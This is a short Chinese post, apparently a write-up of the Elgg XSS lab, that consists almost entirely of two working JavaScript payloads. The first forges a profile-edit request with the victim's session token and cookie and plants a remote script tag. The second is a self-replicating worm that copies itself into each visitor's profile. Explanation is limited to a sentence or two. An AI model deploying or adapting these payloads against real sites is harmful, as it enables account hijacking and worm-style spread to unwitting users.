简单的XSS攻击

首先寻找攻击入口：

然后在里面写入js代码，如果js代码太长不能满足格式长度要求的话那就直接导入js文件

攻击代码如下：

var Ajax=null;
// Construct the header information for the HTTP request
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabelgg.com/action/profile/edit",true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
// Construct the content. The<span style="font-family: Arial, Helvetica, sans-serif;"> format of the content can be learned</span>

// from LiveHTTPHeaders.
var briefdescription="<script src='http://www.xsslabelgg.com/file/download/57' type='text/javascript'></script>";
var content="name="+elgg.session.user.username+"&description=fuckfuckfuckfuckfuckfuck&guid="+elgg.session.user.guid+"&__elgg_token="+elgg.security.token.__elgg_token+"&__elgg_ts="+elgg.security.token.__elgg_ts+"&briefdescription="+briefdescription+"&accesslevel[description]=2&accesslevel[briefdescription]=2"; 
// You need to fill in the details.
// Send the HTTP POST request.
Ajax.send(content);

当不使用js导入时，攻击代码如下：

<script id="worm" type="text/javascript">
var strCode = document.getElementById("worm").innerHTML;
var sub_script_begin="worm<script id=worm>";
var sub_script_end="<\/script>";
var sub_script=sub_script_begin.concat(strCode,sub_script_end);
sub_script = escape(sub_script);
var Ajax=null;
// Construct the header information for the HTTP request
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabelgg.com/action/profile/edit",true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
// Construct the content. The format of the content can be learned
// from LiveHTTPHeaders.
var content="name=".concat(elgg.session.user.username).concat("&description=").concat(sub_script).concat("&guid=").concat(elgg.session.user.guid).concat("&__elgg_token=").concat(elgg.security.token.__elgg_token).concat("&__elgg_ts=").concat(elgg.security.token.__elgg_ts).concat("&accesslevel[description]=2"); 
// You need to fill in the details.
// Send the HTTP POST request.
Ajax.send(content);
alert(content);
</script>

这是采用worm方式进行的攻击，当受害者浏览时可被感染。